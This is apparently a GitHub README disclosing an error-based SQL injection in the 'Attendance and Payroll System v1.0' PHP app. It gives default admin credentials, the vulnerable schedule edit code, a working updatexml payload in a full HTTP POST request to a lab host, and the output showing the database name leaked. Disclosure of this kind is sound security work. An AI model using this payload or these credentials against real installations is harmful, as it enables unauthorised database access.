

main

...

bug_report / bug_m / README.md



debug601 Create README.md

History

1 contributor

35 lines (26 sloc) | 1.49 KB

...

Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

Supplier: <https://www.sourcecodester.com/php/12268/attendance-and-payroll-system-using-php.html>

\admin\schedule_edit.php has SQL injection

Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--
+&schedule=2&edit=

SQL injection because id can be closed

```
position_edit.php schedule_edit.php
1 <?php
2 include 'includes/session.php';
3
4 if(isset($_POST['edit'])){
5     $id = $_POST['id'];
6     $time_in = $_POST['time_in'];
7     $time_in = date('H:i:s', strtotime($time_in));
8     $time_out = $_POST['time_out'];
9     $time_out = date('H:i:s', strtotime($time_out));
10
11     $sql = "UPDATE schedules SET time_in = '$time_in', time_out = '$time_out' WHERE id = '$id'";
12     echo $sql;
13     if($conn->query($sql)){
14         $_SESSION['success'] = 'Schedule updated successfully';
15     }
16     else{
17         $_SESSION['error'] = $conn->error;
18     }
19 }
20 else{
21     $_SESSION['error'] = 'Fill up edit form first';
22 }
23
24 header('location:schedule.php');
25
26 ?>
```

POST /apsystem/admin/schedule_employee_edit.php HTTP/1.1

Host: 192.168.1.17

Content-Length: 82

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.17

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Referer: http://192.168.1.17/apsystem/admin/schedule_employee.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta

Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&schedule=2&edit=



```
POST /apsystem/admin/schedule_employee_edit.php
HTTP/1.1
Host: 192.168.1.17
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.74 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.17/apsystem/admin/schedule_employee.p
hp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5od13120a4bta
Connection: close

id=1' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--&schedule=2&edit=
```

```
HTTP/1.1 302 Found
Date: Mon, 21 Mar 2022 12:54:11 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: schedule_employee.php
Content-Length: 114
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
UPDATE employees SET schedule_id = '2' WHERE id = '1' and
updatexml(1,concat(0x7e,(select database()),0x7e),0)-- ' '
```

← → ↻

⚠ 不安全 | 192.168.1.17/apsystem/admin/schedule_employee.php

📌 靶场平台

🌐 翻译

📄 java代码审计资源


🔗 源码下载站 - 软件...

🔍 漏洞时代 - 最新漏...

👤 Web常见漏

TechSoft IT


≡



Neovic Devierte

● Online

REPORTS

 Dashboard

Schedules

⚠ Error!

XPATH syntax error: '~apsystem~'